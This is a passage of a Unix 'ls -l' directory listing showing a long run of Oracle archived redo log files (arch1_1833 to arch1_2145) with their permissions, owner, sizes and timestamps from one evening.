arch1_1833_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1834_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1835_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1836_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1837_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1838_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1839_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1840_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1841_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 22:30 arch1_1842_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.0M Dec 27 22:30 arch1_1843_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1844_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1845_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1846_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1847_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 22:31 arch1_1848_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1849_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1850_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1851_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1852_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1853_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1854_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1855_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1856_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1857_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1858_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1859_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1860_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1861_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:31 arch1_1862_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1863_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1864_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1865_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1866_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1867_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1868_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1869_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1870_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1871_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1872_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1873_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1874_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1875_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1876_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.4M Dec 27 22:32 arch1_1877_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1878_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1879_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:32 arch1_1880_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.1M Dec 27 22:32 arch1_1881_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1882_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1883_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:33 arch1_1884_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1885_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1886_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1887_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.5M Dec 27 22:33 arch1_1888_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1889_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1890_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1891_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1892_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1893_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:33 arch1_1894_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1895_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1896_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1897_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.4M Dec 27 22:33 arch1_1898_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1899_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1900_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:33 arch1_1901_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1902_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1903_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1904_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1905_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1906_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1907_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1908_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1909_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1910_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1911_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1912_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 22:34 arch1_1913_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1914_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1915_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1916_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.3M Dec 27 22:34 arch1_1917_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1918_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1919_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:34 arch1_1920_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1921_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1922_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1923_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1924_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.2M Dec 27 22:35 arch1_1925_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1926_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1927_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1928_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1929_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1930_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1931_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1932_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1933_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1934_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1935_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1936_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1937_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1938_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:35 arch1_1939_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.3M Dec 27 22:36 arch1_1940_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:36 arch1_1941_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.5M Dec 27 22:36 arch1_1942_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1943_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:36 arch1_1944_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1945_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.5M Dec 27 22:36 arch1_1946_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 22:36 arch1_1947_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:36 arch1_1948_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.9M Dec 27 22:36 arch1_1949_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1950_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1951_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1952_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1953_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1954_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.4M Dec 27 22:36 arch1_1955_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1956_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1957_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1958_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1959_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1960_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1961_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1962_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:36 arch1_1963_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 22:36 arch1_1964_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1965_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1966_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.4M Dec 27 22:37 arch1_1967_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1968_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1969_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1970_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1971_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:37 arch1_1972_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1973_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1974_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1975_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1976_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1977_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1978_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1979_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1980_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1981_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1982_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:37 arch1_1983_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:37 arch1_1984_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_1985_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_1986_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.9M Dec 27 22:38 arch1_1987_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_1988_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 22:38 arch1_1989_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_1990_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_1991_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_1992_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_1993_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_1994_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_1995_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_1996_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_1997_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_1998_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_1999_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_2000_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_2001_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_2002_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:38 arch1_2003_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2004_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2005_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2006_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2007_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2008_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2009_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2010_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2011_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2012_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2013_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2014_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 22:39 arch1_2015_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2016_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2017_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2018_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:39 arch1_2019_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2020_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2021_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:39 arch1_2022_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2023_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2024_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2025_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2026_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2027_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2028_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2029_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2030_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2031_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2032_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2033_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2034_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:40 arch1_2035_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2036_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2037_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2038_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2039_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2040_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:40 arch1_2041_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.9M Dec 27 22:41 arch1_2042_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.8M Dec 27 22:41 arch1_2043_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:41 arch1_2044_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.4M Dec 27 22:41 arch1_2045_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:41 arch1_2046_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 22:42 arch1_2047_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2048_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2049_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2050_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2051_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2052_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:42 arch1_2053_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2054_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2055_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2056_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2057_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2058_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2059_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.6M Dec 27 22:42 arch1_2060_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.8M Dec 27 22:42 arch1_2061_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2062_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2063_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2064_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:42 arch1_2065_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 22:43 arch1_2066_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:43 arch1_2067_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:43 arch1_2068_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.6M Dec 27 22:43 arch1_2069_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:43 arch1_2070_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:43 arch1_2071_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:43 arch1_2072_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2073_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2074_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2075_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2076_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2077_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2078_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2079_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2080_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2081_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2082_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2083_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2084_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2085_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2086_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2087_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2088_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2089_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2090_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2091_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:45 arch1_2092_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2093_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.1M Dec 27 22:46 arch1_2094_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2095_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2096_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2097_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2098_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2099_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2100_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2101_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.9M Dec 27 22:46 arch1_2102_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2103_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2104_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2105_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2106_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2107_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2108_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:46 arch1_2109_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:52 arch1_2110_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:59 arch1_2111_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:59 arch1_2112_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:59 arch1_2113_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:59 arch1_2114_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:59 arch1_2115_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:59 arch1_2116_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:59 arch1_2117_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:59 arch1_2118_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:59 arch1_2119_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.1M Dec 27 23:00 arch1_2120_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2121_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2122_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2123_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2124_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2125_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2126_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2127_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2128_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2129_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2130_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2131_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2132_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2133_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2134_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2135_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2136_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2137_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:00 arch1_2138_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2139_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.6M Dec 27 23:01 arch1_2140_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.5M Dec 27 23:01 arch1_2141_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2142_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2143_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2144_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2145_1215462093.dbf -rw-r-----. 